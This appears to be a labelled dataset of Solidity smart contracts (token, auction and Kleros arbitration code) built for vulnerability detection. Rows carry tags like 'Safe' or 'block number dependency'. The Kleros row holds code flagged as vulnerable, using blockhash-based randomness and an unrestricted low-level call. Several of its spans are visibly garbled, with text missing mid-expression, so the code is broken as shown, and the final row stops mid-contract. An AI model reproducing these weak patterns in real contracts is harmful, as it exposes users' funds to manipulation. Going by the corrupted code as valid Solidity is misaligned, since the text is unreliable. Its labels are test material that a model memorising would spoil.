0x0235fe624e044a05eed7a43e16e3083bc8a4287a_OriginalToken.sol,"pragma solidity ^0.4.17; contract Cofounded { mapping (address => uint) public cofounderIndices; address[] public cofounders; /// @dev restrict execution to one of original cofounder addresses modifier restricted () { uint cofounderIndex = cofounderIndices[msg.sender]; require(msg.sender == cofounders[cofounderIndex]); _; } /// @notice creates the Cofounded contract instance /// @dev adds up to cofounders. /// also adds the deployment address as a cofounder function Cofounded (address[] contractCofounders) public { cofounders.push(msg.sender); for (uint8 x = 0; x < contractCofounders.length; x++) { address cofounder = contractCofounders[x]; bool isValidUniqueCofounder = cofounder != address(0) && cofounder != msg.sender && cofounderIndices[cofounder] == 0; // NOTE: solidity as of 0.4.20 does not have an // undefined or null-like value // thusly mappings return the default value of the value type // for an unregistered key value // an address which doesn't exist will return 0 // which is actually the index of the address of the first // cofounder if (isValidUniqueCofounder) { uint256 cofounderIndex = cofounders.push(cofounder) - 1; cofounderIndices[cofounder] = cofounderIndex; } } } /// @dev get count of cofounders function getCofounderCount () public constant returns (uint256) { return cofounders.length; } /// @dev get list of cofounders function getCofounders () public constant returns (address[]) { return cofounders; } } interface ERC20 { // Required methods function transfer (address to, uint256 value) public returns (bool success); function transferFrom (address from, address to, uint256 value) public returns (bool success); function approve (address spender, uint256 value) public returns (bool success); function allowance (address owner, address spender) public constant returns (uint256 remaining); function balanceOf (address owner) public constant returns (uint256 balance); // Events event Transfer (address indexed from, address indexed to, uint256 value); event Approval (address indexed owner, address indexed spender, uint256 value); } /// @title Interface for contracts conforming to ERC-165: Pseudo-Introspection, or standard interface detection /// @author Mish Ochu interface ERC165 { /// @dev true iff the interface is supported function supportsInterface(bytes4 interfaceID) external constant returns (bool); } contract InterfaceSignatureConstants { bytes4 constant InterfaceSignature_ERC165 = bytes4(keccak256('supportsInterface(bytes4)')); bytes4 constant InterfaceSignature_ERC20 = bytes4(keccak256('totalSupply()')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('approve(address,uint256)')) ^ bytes4(keccak256('allowance(address,address)')); bytes4 constant InterfaceSignature_ERC20_PlusOptions = bytes4(keccak256('name()')) ^ bytes4(keccak256('symbol()')) ^ bytes4(keccak256('decimals()')) ^ bytes4(keccak256('totalSupply()')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('approve(address,uint256)')) ^ bytes4(keccak256('allowance(address,address)')); } /// @title an original cofounder based ERC-20 compliant token /// @author Mish Ochu /// @dev Ref: https://github.com/ethereum/EIPs/issues/721 //http://solidity.readthedocs.io/en/develop/contracts.html#arguments-for-base-constructors contract OriginalToken is Cofounded, ERC20, ERC165, InterfaceSignatureConstants { bool private hasExecutedCofounderDistribution; struct Allowance { uint256 amount; bool hasBeenPartiallyWithdrawn; } //***** Apparently Optional *****/ /// @dev returns the name of the token string public constant name = 'Original Crypto Coin'; /// @dev returns the symbol of the token (e.g. 'OCC') string public constant symbol = 'OCC'; /// @dev returns the number of decimals the tokens use uint8 public constant decimals = 18; //**********/ /// @dev returns the total token supply /// @note implemented as a state variable with an automatic (compiler provided) getter /// instead of a constant (view/readonly) function. uint256 public totalSupply = 100000000000000000000000000000; mapping (address => uint256) public balances; // TODO: determine if the gas cost for handling the race condition // (outlined here: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729) // is cheaper this way (or this way: https://github.com/Giveth/minime/blob/master/contracts/MiniMeToken.sol#L221-L225) mapping (address => mapping (address => Allowance)) public allowances; /// @dev creates the token /// NOTE passes tokenCofounders to base contract /// see Cofounded function OriginalToken (address[] tokenCofounders, uint256 cofounderDistribution) Cofounded(tokenCofounders) public { if (hasExecutedCofounderDistribution || cofounderDistribution == 0 || totalSupply < cofounderDistribution) revert(); hasExecutedCofounderDistribution = true; uint256 initialSupply = totalSupply; // divvy up initial token supply accross cofounders // TODO: ensure each cofounder gets an equal base distribution for (uint8 x = 0; x < cofounders.length; x++) { address cofounder = cofounders[x]; initialSupply -= cofounderDistribution; // there should be some left over for the airdrop campaign // otherwise don't create this contract if (initialSupply < cofounderDistribution) revert(); balances[cofounder] = cofounderDistribution; } balances[msg.sender] += initialSupply; } function transfer (address to, uint256 value) public returns (bool) { return transferBalance (msg.sender, to, value); } function transferFrom (address from, address to, uint256 value) public returns (bool success) { Allowance storage allowance = allowances[from][msg.sender]; if (allowance.amount < value) revert(); allowance.hasBeenPartiallyWithdrawn = true; allowance.amount -= value; if (allowance.amount == 0) { delete allowances[from][msg.sender]; } return transferBalance(from, to, value); } event ApprovalDenied (address indexed owner, address indexed spender); // TODO: test with an unintialized Allowance struct function approve (address spender, uint256 value) public returns (bool success) { Allowance storage allowance = allowances[msg.sender][spender]; if (value == 0) { delete allowances[msg.sender][spender]; Approval(msg.sender, spender, value); return true; } if (allowance.hasBeenPartiallyWithdrawn) { delete allowances[msg.sender][spender]; ApprovalDenied(msg.sender, spender); return false; } else { allowance.amount = value; Approval(msg.sender, spender, value); } return true; } // TODO: compare gas cost estimations between this and https://github.com/ConsenSys/Tokens/blob/master/contracts/eip20/EIP20.sol#L39-L45 function transferBalance (address from, address to, uint256 value) private returns (bool) { // don't burn these tokens if (to == address(0) || from == to) revert(); // match spec and emit events on 0 value if (value == 0) { Transfer(msg.sender, to, value); return true; } uint256 senderBalance = balances[from]; uint256 receiverBalance = balances[to]; if (senderBalance < value) revert(); senderBalance -= value; receiverBalance += value; // overflow check (altough one could use https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol) if (receiverBalance < value) revert(); balances[from] = senderBalance; balances[to] = receiverBalance; Transfer(from, to, value); return true; } // TODO: test with an unintialized Allowance struct function allowance (address owner, address spender) public constant returns (uint256 remaining) { return allowances[owner][spender].amount; } function balanceOf (address owner) public constant returns (uint256 balance) { return balances[owner]; } function supportsInterface (bytes4 interfaceID) external constant returns (bool) { return ((interfaceID == InterfaceSignature_ERC165) || (interfaceID == InterfaceSignature_ERC20) || (interfaceID == InterfaceSignature_ERC20_PlusOptions)); } }",Safe,8,8 0x041d26dcceda7fd82898cd7dce0ae7da6031ee51_SimpleAuction.sol,"pragma solidity ^0.4.11; contract SimpleAuction { // Parameters of the auction. Times are either // absolute unix timestamps (seconds since 1970-01-01) // or time periods in seconds. address public beneficiary; uint public auctionStart; uint public biddingTime; // Current state of the auction. address public highestBidder; uint public highestBid; // Allowed withdrawals of previous bids mapping(address => uint) pendingReturns; // Set to true at the end, disallows any change bool ended; // Events that will be fired on changes. event HighestBidIncreased(address bidder, uint amount); event AuctionEnded(address winner, uint amount); // The following is a so-called natspec comment, // recognizable by the three slashes. // It will be shown when the user is asked to // confirm a transaction. /// Create a simple auction with `_biddingTime` /// seconds bidding time on behalf of the /// beneficiary address `_beneficiary`. function SimpleAuction() { beneficiary = 0xc2752751E6B91736d5a2e8E31336DC7C7220e8FC; auctionStart = now; biddingTime = 600; } /// Bid on the auction with the value sent /// together with this transaction. /// The value will only be refunded if the /// auction is not won. function bid() payable { // No arguments are necessary, all // information is already part of // the transaction. The keyword payable // is required for the function to // be able to receive Ether. // Revert the call if the bidding // period is over. require(now <= (auctionStart + biddingTime)); // If the bid is not higher, send the // money back. require(msg.value > highestBid); if (highestBidder != 0) { // Sending back the money by simply using // highestBidder.send(highestBid) is a security risk // because it can be prevented by the caller by e.g. // raising the call stack to 1023. It is always safer // to let the recipients withdraw their money themselves. pendingReturns[highestBidder] += highestBid; } highestBidder = msg.sender; highestBid = msg.value; HighestBidIncreased(msg.sender, msg.value); } /// Withdraw a bid that was overbid. function withdraw() returns (bool) { uint amount = pendingReturns[msg.sender]; if (amount > 0) { // It is important to set this to zero because the recipient // can call this function again as part of the receiving call // before `send` returns. pendingReturns[msg.sender] = 0; if (!msg.sender.send(amount)) { // No need to call throw here, just reset the amount owing pendingReturns[msg.sender] = amount; return false; } } return true; } // Users want to know when the auction ends, seconds from 1970-01-01 function auctionEndTime() constant returns (uint256) { return auctionStart + biddingTime; } /// End the auction and send the highest bid /// to the beneficiary. function auctionEnd() { // It is a good guideline to structure functions that interact // with other contracts (i.e. they call functions or send Ether) // into three phases: // 1. checking conditions // 2. performing actions (potentially changing conditions) // 3. interacting with other contracts // If these phases are mixed up, the other contract could call // back into the current contract and modify the state or cause // effects (ether payout) to be performed multiple times. // If functions called internally include interaction with external // contracts, they also have to be considered interaction with // external contracts. // 1. Conditions require(now >= (auctionStart + biddingTime)); // auction did not yet end require(!ended); // this function has already been called // 2. Effects ended = true; AuctionEnded(highestBidder, highestBid); // 3. Interaction beneficiary.transfer(highestBid); } }",Safe,8,8 2301.sol," pragma solidity ^0.4.24; contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; } contract TokenController { function proxyPayment(address _owner) public payable returns(bool); function onTransfer(address _from, address _to, uint _amount) public returns(bool); function onApprove(address _owner, address _spender, uint _amount) public returns(bool); } contract Controlled { modifier onlyController { require(msg.sender == controller); _; } address public controller; function Controlled() public { controller = msg.sender;} function changeController(address _newController) public onlyController { controller = _newController; } } contract Pinakion is Controlled { string public name; uint8 public decimals; string public symbol; string public version = 'MMT_0.2'; struct Checkpoint { uint128 fromBlock; uint128 value; } Pinakion public parentToken; uint public parentSnapShotBlock; uint public creationBlock; mapping (address => Checkpoint[]) balances; mapping (address => mapping (address => uint256)) allowed; Checkpoint[] totalSupplyHistory; bool public transfersEnabled; MiniMeTokenFactory public tokenFactory; function Pinakion( address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public { tokenFactory = MiniMeTokenFactory(_tokenFactory); name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; parentToken = Pinakion(_parentToken); parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); doTransfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount ) public returns (bool success) { if (msg.sender != controller) { require(transfersEnabled); require(allowed[_from][msg.sender] >= _amount); allowed[_from][msg.sender] -= _amount; } doTransfer(_from, _to, _amount); return true; } function doTransfer(address _from, address _to, uint _amount ) internal { if (_amount == 0) { Transfer(_from, _to, _amount); return; } require(parentSnapShotBlock < block.number); require((_to != 0) && (_to != address(this))); var previousBalanceFrom = balanceOfAt(_from, block.number); require(previousBalanceFrom >= _amount); if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } updateValueAtNow(balances[_from], previousBalanceFrom - _amount); var previousBalanceTo = balanceOfAt(_to, block.number); require(previousBalanceTo + _amount >= previousBalanceTo); updateValueAtNow(balances[_to], previousBalanceTo + _amount); Transfer(_from, _to, _amount); } function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOfAt(_owner, block.number); } function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); if (isContract(controller)) { require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); } allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender ) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) public returns (bool success) { require(approve(_spender, _amount)); ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } function totalSupply() public constant returns (uint) { return totalSupplyAt(block.number); } function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(balances[_owner], _blockNumber); } } function totalSupplyAt(uint _blockNumber) public constant returns(uint) { if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(totalSupplyHistory, _blockNumber); } } function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) public returns(address) { if (_snapshotBlock == 0) _snapshotBlock = block.number; Pinakion cloneToken = tokenFactory.createCloneToken( this, _snapshotBlock, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.changeController(msg.sender); NewCloneToken(address(cloneToken), _snapshotBlock); return address(cloneToken); } function generateTokens(address _owner, uint _amount ) public onlyController returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply + _amount >= curTotalSupply); uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo + _amount >= previousBalanceTo); updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_owner], previousBalanceTo + _amount); Transfer(0, _owner, _amount); return true; } function destroyTokens(address _owner, uint _amount ) onlyController public returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply >= _amount); uint previousBalanceFrom = balanceOf(_owner); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); Transfer(_owner, 0, _amount); return true; } function enableTransfers(bool _transfersEnabled) public onlyController { transfersEnabled = _transfersEnabled; } function getValueAt(Checkpoint[] storage checkpoints, uint _block ) constant internal returns (uint) { if (checkpoints.length == 0) return 0; if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value ) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } function () public payable { require(isContract(controller)); require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender)); } function claimTokens(address _token) public onlyController { if (_token == 0x0) { controller.transfer(this.balance); return; } Pinakion token = Pinakion(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); } contract MiniMeTokenFactory { function createCloneToken( address _parentToken, uint _snapshotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public returns (Pinakion) { Pinakion newToken = new Pinakion( this, _parentToken, _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled ); newToken.changeController(msg.sender); return newToken; } } contract RNG{ function contribute(uint _block) public payable; function requestRN(uint _block) public payable { contribute(_block); } function getRN(uint _block) public returns (uint RN); function getUncorrelatedRN(uint _block) public returns (uint RN) { uint baseRN=getRN(_block); if (baseRN==0) return 0; else return uint(keccak256(msg.sender,baseRN)); } } contract BlockHashRNG is RNG { mapping (uint => uint) public randomNumber; mapping (uint => uint) public reward; function contribute(uint _block) public payable { reward[_block]+=msg.value; } function getRN(uint _block) public returns (uint RN) { RN=randomNumber[_block]; if (RN==0){ saveRN(_block); return randomNumber[_block]; } else return RN; } function saveRN(uint _block) public { if (blockhash(_block) != 0x0) randomNumber[_block] = uint(blockhash(_block)); if (randomNumber[_block] != 0) { uint rewardToSend = reward[_block]; reward[_block] = 0; msg.sender.send(rewardToSend); } } } contract BlockHashRNGFallback is BlockHashRNG { function saveRN(uint _block) public { if (_block=arbitrationCost(_extraData)); _;} modifier requireAppealFee(uint _disputeID, bytes _extraData) {require(msg.value>=appealCost(_disputeID, _extraData)); _;} event AppealPossible(uint _disputeID); event DisputeCreation(uint indexed _disputeID, Arbitrable _arbitrable); event AppealDecision(uint indexed _disputeID, Arbitrable _arbitrable); function createDispute(uint _choices, bytes _extraData) public requireArbitrationFee(_extraData) payable returns(uint disputeID) {} function arbitrationCost(bytes _extraData) public constant returns(uint fee); function appeal(uint _disputeID, bytes _extraData) public requireAppealFee(_disputeID,_extraData) payable { emit AppealDecision(_disputeID, Arbitrable(msg.sender)); } function appealCost(uint _disputeID, bytes _extraData) public constant returns(uint fee); function disputeStatus(uint _disputeID) public constant returns(DisputeStatus status); function currentRuling(uint _disputeID) public constant returns(uint ruling); } contract Kleros is Arbitrator, ApproveAndCallFallBack { Pinakion public pinakion; uint public constant NON_PAYABLE_AMOUNT = (2**256 - 2) / 2; RNG public rng; uint public arbitrationFeePerJuror = 0.05 ether; uint16 public defaultNumberJuror = 3; uint public minActivatedToken = 0.1 * 1e18; uint[5] public timePerPeriod; uint public alpha = 2000; uint constant ALPHA_DIVISOR = 1e4; uint public maxAppeals = 5; address public governor; uint public session = 1; uint public lastPeriodChange; uint public segmentSize; uint public rnBlock; uint public randomNumber; enum Period { Activation, Draw, Vote, Appeal, Execution } Period public period; struct Juror { uint balance; uint atStake; uint lastSession; uint segmentStart; uint segmentEnd; } mapping (address => Juror) public jurors; struct Vote { address account; uint ruling; } struct VoteCounter { uint winningChoice; uint winningCount; mapping (uint => uint) voteCount; } enum DisputeState { Open, Resolving, Executable, Executed } struct Dispute { Arbitrable arbitrated; uint session; uint appeals; uint choices; uint16 initialNumberJurors; uint arbitrationFeePerJuror; DisputeState state; Vote[][] votes; VoteCounter[] voteCounter; mapping (address => uint) lastSessionVote; uint currentAppealToRepartition; AppealsRepartitioned[] appealsRepartitioned; } enum RepartitionStage { Incoherent, Coherent, AtStake, Complete } struct AppealsRepartitioned { uint totalToRedistribute; uint nbCoherent; uint currentIncoherentVote; uint currentCoherentVote; uint currentAtStakeVote; RepartitionStage stage; } Dispute[] public disputes; event NewPeriod(Period _period, uint indexed _session); event TokenShift(address indexed _account, uint _disputeID, int _amount); event ArbitrationReward(address indexed _account, uint _disputeID, uint _amount); modifier onlyBy(address _account) {require(msg.sender == _account); _;} modifier onlyDuring(Period _period) {require(period == _period); _;} modifier onlyGovernor() {require(msg.sender == governor); _;} constructor(Pinakion _pinakion, RNG _rng, uint[5] _timePerPeriod, address _governor) public { pinakion = _pinakion; rng = _rng; lastPeriodChange = now; timePerPeriod = _timePerPeriod; governor = _governor; } function receiveApproval(address _from, uint _amount, address, bytes) public onlyBy(pinakion) { require(pinakion.transferFrom(_from, this, _amount)); jurors[_from].balance += _amount; } function withdraw(uint _value) public { Juror storage juror = jurors[msg.sender]; require(juror.atStake <= juror.balance); require(_value <= juror.balance-juror.atStake); require(juror.lastSession != session); juror.balance -= _value; require(pinakion.transfer(msg.sender,_value)); } function passPeriod() public { require(now-lastPeriodChange >= timePerPeriod[uint8(period)]); if (period == Period.Activation) { rnBlock = block.number + 1; rng.requestRN(rnBlock); period = Period.Draw; } else if (period == Period.Draw) { randomNumber = rng.getUncorrelatedRN(rnBlock); require(randomNumber != 0); period = Period.Vote; } else if (period == Period.Vote) { period = Period.Appeal; } else if (period == Period.Appeal) { period = Period.Execution; } else if (period == Period.Execution) { period = Period.Activation; ++session; segmentSize = 0; rnBlock = 0; randomNumber = 0; } lastPeriodChange = now; NewPeriod(period, session); } function activateTokens(uint _value) public onlyDuring(Period.Activation) { Juror storage juror = jurors[msg.sender]; require(_value <= juror.balance); require(_value >= minActivatedToken); require(juror.lastSession != session); juror.lastSession = session; juror.segmentStart = segmentSize; segmentSize += _value; juror.segmentEnd = segmentSize; } function voteRuling(uint _disputeID, uint _ruling, uint[] _draws) public onlyDuring(Period.Vote) { Dispute storage dispute = disputes[_disputeID]; Juror storage juror = jurors[msg.sender]; VoteCounter storage voteCounter = dispute.voteCounter[dispute.appeals]; require(dispute.lastSessionVote[msg.sender] != session); require(_ruling <= dispute.choices); require(validDraws(msg.sender, _disputeID, _draws)); dispute.lastSessionVote[msg.sender] = session; voteCounter.voteCount[_ruling] += _draws.length; if (voteCounter.winningCount < voteCounter.voteCount[_ruling]) { voteCounter.winningCount = voteCounter.voteCount[_ruling]; voteCounter.winningChoice = _ruling; } else if (voteCounter.winningCount==voteCounter.voteCount[_ruling] && _draws.length!=0) { voteCounter.winningChoice = 0; } for (uint i = 0; i < _draws.length; ++i) { dispute.votes[dispute.appeals].push(Vote({ account: msg.sender, ruling: _ruling })); } juror.atStake += _draws.length * getStakePerDraw(); uint feeToPay = _draws.length * dispute.arbitrationFeePerJuror; msg.sender.transfer(feeToPay); ArbitrationReward(msg.sender, _disputeID, feeToPay); } function penalizeInactiveJuror(address _jurorAddress, uint _disputeID, uint[] _draws) public { Dispute storage dispute = disputes[_disputeID]; Juror storage inactiveJuror = jurors[_jurorAddress]; require(period > Period.Vote); require(dispute.lastSessionVote[_jurorAddress] != session); dispute.lastSessionVote[_jurorAddress] = session; require(validDraws(_jurorAddress, _disputeID, _draws)); uint penality = _draws.length * minActivatedToken * 2 * alpha / ALPHA_DIVISOR; penality = (penality < inactiveJuror.balance) ? penality : inactiveJuror.balance; inactiveJuror.balance -= penality; TokenShift(_jurorAddress, _disputeID, -int(penality)); jurors[msg.sender].balance += penality / 2; TokenShift(msg.sender, _disputeID, int(penality / 2)); jurors[governor].balance += penality / 2; TokenShift(governor, _disputeID, int(penality / 2)); msg.sender.transfer(_draws.length*dispute.arbitrationFeePerJuror); } function oneShotTokenRepartition(uint _disputeID) public onlyDuring(Period.Execution) { Dispute storage dispute = disputes[_disputeID]; require(dispute.state == DisputeState.Open); require(dispute.session+dispute.appeals <= session); uint winningChoice = dispute.voteCounter[dispute.appeals].winningChoice; uint amountShift = getStakePerDraw(); for (uint i = 0; i <= dispute.appeals; ++i) { if (winningChoice!=0 || (dispute.voteCounter[dispute.appeals].voteCount[0] == dispute.voteCounter[dispute.appeals].winningCount)) { uint totalToRedistribute = 0; uint nbCoherent = 0; for (uint j = 0; j < dispute.votes[i].length; ++j) { Vote storage vote = dispute.votes[i][j]; if (vote.ruling != winningChoice) { Juror storage juror = jurors[vote.account]; uint penalty = amountShift= _maxIterations) { return; } Vote storage vote = dispute.votes[i][j]; if (vote.ruling != winningChoice) { Juror storage juror = jurors[vote.account]; uint penalty = amountShift= _maxIterations) { return; } vote = dispute.votes[i][j]; if (vote.ruling == winningChoice) { juror = jurors[vote.account]; juror.balance += toRedistribute; TokenShift(vote.account, _disputeID, int(toRedistribute)); } ++currentIterations; ++dispute.appealsRepartitioned[i].currentCoherentVote; } dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake; } } if (dispute.appealsRepartitioned[i].stage == RepartitionStage.AtStake) { for (j = dispute.appealsRepartitioned[i].currentAtStakeVote; j < dispute.votes[i].length; ++j) { if (currentIterations >= _maxIterations) { return; } vote = dispute.votes[i][j]; juror = jurors[vote.account]; juror.atStake -= amountShift; ++currentIterations; ++dispute.appealsRepartitioned[i].currentAtStakeVote; } dispute.appealsRepartitioned[i].stage = RepartitionStage.Complete; } if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Complete) { ++dispute.currentAppealToRepartition; } } dispute.state = DisputeState.Executable; } function amountJurors(uint _disputeID) public view returns (uint nbJurors) { Dispute storage dispute = disputes[_disputeID]; return (dispute.initialNumberJurors + 1) * 2**dispute.appeals - 1; } function validDraws(address _jurorAddress, uint _disputeID, uint[] _draws) public view returns (bool valid) { uint draw = 0; Juror storage juror = jurors[_jurorAddress]; Dispute storage dispute = disputes[_disputeID]; uint nbJurors = amountJurors(_disputeID); if (juror.lastSession != session) return false; if (dispute.session+dispute.appeals != session) return false; if (period <= Period.Draw) return false; for (uint i = 0; i < _draws.length; ++i) { if (_draws[i] <= draw) return false; draw = _draws[i]; if (draw > nbJurors) return false; uint position = uint(keccak256(randomNumber, _disputeID, draw)) % segmentSize; require(position >= juror.segmentStart); require(position < juror.segmentEnd); } return true; } function createDispute(uint _choices, bytes _extraData) public payable returns (uint disputeID) { uint16 nbJurors = extraDataToNbJurors(_extraData); require(msg.value >= arbitrationCost(_extraData)); disputeID = disputes.length++; Dispute storage dispute = disputes[disputeID]; dispute.arbitrated = Arbitrable(msg.sender); if (period < Period.Draw) dispute.session = session; else dispute.session = session+1; dispute.choices = _choices; dispute.initialNumberJurors = nbJurors; dispute.arbitrationFeePerJuror = arbitrationFeePerJuror; dispute.votes.length++; dispute.voteCounter.length++; DisputeCreation(disputeID, Arbitrable(msg.sender)); return disputeID; } function appeal(uint _disputeID, bytes _extraData) public payable onlyDuring(Period.Appeal) { super.appeal(_disputeID,_extraData); Dispute storage dispute = disputes[_disputeID]; require(msg.value >= appealCost(_disputeID, _extraData)); require(dispute.session+dispute.appeals == session); require(dispute.arbitrated == msg.sender); dispute.appeals++; dispute.votes.length++; dispute.voteCounter.length++; } function executeRuling(uint disputeID) public { Dispute storage dispute = disputes[disputeID]; require(dispute.state == DisputeState.Executable); dispute.state = DisputeState.Executed; dispute.arbitrated.rule(disputeID, dispute.voteCounter[dispute.appeals].winningChoice); } function arbitrationCost(bytes _extraData) public view returns (uint fee) { return extraDataToNbJurors(_extraData) * arbitrationFeePerJuror; } function appealCost(uint _disputeID, bytes _extraData) public view returns (uint fee) { Dispute storage dispute = disputes[_disputeID]; if(dispute.appeals >= maxAppeals) return NON_PAYABLE_AMOUNT; return (2*amountJurors(_disputeID) + 1) * dispute.arbitrationFeePerJuror; } function extraDataToNbJurors(bytes _extraData) internal view returns (uint16 nbJurors) { if (_extraData.length < 2) return defaultNumberJuror; else return (uint16(_extraData[0]) << 8) + uint16(_extraData[1]); } function getStakePerDraw() public view returns (uint minActivatedTokenInAlpha) { return (alpha * minActivatedToken) / ALPHA_DIVISOR; } function getVoteAccount(uint _disputeID, uint _appeals, uint _voteID) public view returns (address account) { return disputes[_disputeID].votes[_appeals][_voteID].account; } function getVoteRuling(uint _disputeID, uint _appeals, uint _voteID) public view returns (uint ruling) { return disputes[_disputeID].votes[_appeals][_voteID].ruling; } function getWinningChoice(uint _disputeID, uint _appeals) public view returns (uint winningChoice) { return disputes[_disputeID].voteCounter[_appeals].winningChoice; } function getWinningCount(uint _disputeID, uint _appeals) public view returns (uint winningCount) { return disputes[_disputeID].voteCounter[_appeals].winningCount; } function getVoteCount(uint _disputeID, uint _appeals, uint _choice) public view returns (uint voteCount) { return disputes[_disputeID].voteCounter[_appeals].voteCount[_choice]; } function getLastSessionVote(uint _disputeID, address _juror) public view returns (uint lastSessionVote) { return disputes[_disputeID].lastSessionVote[_juror]; } function isDrawn(uint _disputeID, address _juror, uint _draw) public view returns (bool drawn) { Dispute storage dispute = disputes[_disputeID]; Juror storage juror = jurors[_juror]; if (juror.lastSession != session || (dispute.session+dispute.appeals != session) || period<=Period.Draw || _draw>amountJurors(_disputeID) || _draw==0 || segmentSize==0 ) { return false; } else { uint position = uint(keccak256(randomNumber,_disputeID,_draw)) % segmentSize; return (position >= juror.segmentStart) && (position < juror.segmentEnd); } } function currentRuling(uint _disputeID) public view returns (uint ruling) { Dispute storage dispute = disputes[_disputeID]; return dispute.voteCounter[dispute.appeals].winningChoice; } function disputeStatus(uint _disputeID) public view returns (DisputeStatus status) { Dispute storage dispute = disputes[_disputeID]; if (dispute.session+dispute.appeals < session) return DisputeStatus.Solved; else if(dispute.session+dispute.appeals == session) { if (dispute.state == DisputeState.Open) { if (period < Period.Appeal) return DisputeStatus.Waiting; else if (period == Period.Appeal) return DisputeStatus.Appealable; else return DisputeStatus.Solved; } else return DisputeStatus.Solved; } else return DisputeStatus.Waiting; } function executeOrder(bytes32 _data, uint _value, address _target) public onlyGovernor { _target.call.value(_value)(_data); } function setRng(RNG _rng) public onlyGovernor { rng = _rng; } function setArbitrationFeePerJuror(uint _arbitrationFeePerJuror) public onlyGovernor { arbitrationFeePerJuror = _arbitrationFeePerJuror; } function setDefaultNumberJuror(uint16 _defaultNumberJuror) public onlyGovernor { defaultNumberJuror = _defaultNumberJuror; } function setMinActivatedToken(uint _minActivatedToken) public onlyGovernor { minActivatedToken = _minActivatedToken; } function setTimePerPeriod(uint[5] _timePerPeriod) public onlyGovernor { timePerPeriod = _timePerPeriod; } function setAlpha(uint _alpha) public onlyGovernor { alpha = _alpha; } function setMaxAppeals(uint _maxAppeals) public onlyGovernor { maxAppeals = _maxAppeals; } function setGovernor(address _governor) public onlyGovernor { governor = _governor; } }",./Dataset/block number dependency (BN),0,0 1210.sol,"pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 